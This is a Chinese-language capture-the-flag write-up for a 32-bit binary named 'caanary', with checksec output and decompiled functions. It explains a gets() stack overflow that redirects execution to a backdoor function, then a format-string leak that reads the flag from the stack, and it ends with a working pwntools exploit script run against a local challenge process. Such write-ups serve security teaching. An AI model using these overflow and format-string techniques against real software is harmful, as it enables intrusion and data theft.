# Caanary 题目 write up
# 保护检查
$ file caanary | |
caanary: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7255407ee223475c666712ccf070a16765c54e07, not stripped | |
$ checksec --file=caanary | |
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | |
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 2158) Symbols No 0 0 caanary |
32 位程序,开启了 canary 保护检查
# 静态分析
ida pro 32 打开看看,
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
init_0(&argc); | |
vuln(); | |
puts("Bye hacker!"); | |
return 0; | |
} |
main 主函数,调用了 vuln,
int vuln() | |
{ | |
char v1[20]; // [esp+0h] [ebp-18h] BYREF | |
puts("Do you really know Canary?"); | |
return gets(v1); | |
} |
题目虽然开启了 canary 保护,但是存在一些函数返回的时候,没有 canary 检查,就比如这里,所以这个题完全忽略 canary, 毕竟也没有
程序存在后门,
int win() | |
{ | |
char v1; // [esp-Ch] [ebp-74h] | |
char v2[16]; // [esp+Bh] [ebp-5Dh] BYREF | |
char v3[65]; // [esp+1Bh] [ebp-4Dh] BYREF | |
int v4; // [esp+5Ch] [ebp-Ch] | |
v4 = fopen("./flag", "r"); | |
if ( !v4 ) | |
exit(0); | |
fgets(v3, 65, v4); | |
fgets(v2, 16, stdin); | |
return printf(v2, v1); | |
} |
后门函数从系统中读取了 flag,但是没有直接输出,但是存到了栈上面,并且存在格式化字符串漏洞。
我们在 culn 栈溢出,覆盖返回地址到 win,接下来 l 利用格式化字符串漏洞,泄露栈上的数据
我们动态调试,进入 printf 函数第一句指令
观察此时的数据,flag 的第一个字母所在位置偏移是 %10p 一点点泄露泄露出来,然后将得到的 16 进制数字进行转换,变为字符串。这需要多次执行脚本攻击,每次泄露 4 个字母(也可以一次泄露 12 字节,但是为了方便写脚本,我这里每次泄露 4 字节)。直到出现 ''}" .
# exp
from pwn import * | |
ss = b"" | |
for idx in range(10,30,1): | |
r=process('./caanary') | |
context.log_level = "debug" | |
#gdb.attach(r,'b puts\nb *0x080488D5') | |
pad = b'a'*0x1c+p32(0x080488DE) | |
r.sendlineafter(b'Do you really know Canary?\n',pad) | |
a = idx+1 | |
b = idx+2 | |
pad = f"%{idx}$p" | |
r.sendline(pad) | |
ss += p32(int(r.recv(),16)) | |
if b"}" in ss: | |
break | |
print(ss) | |
r.interactive() |
效果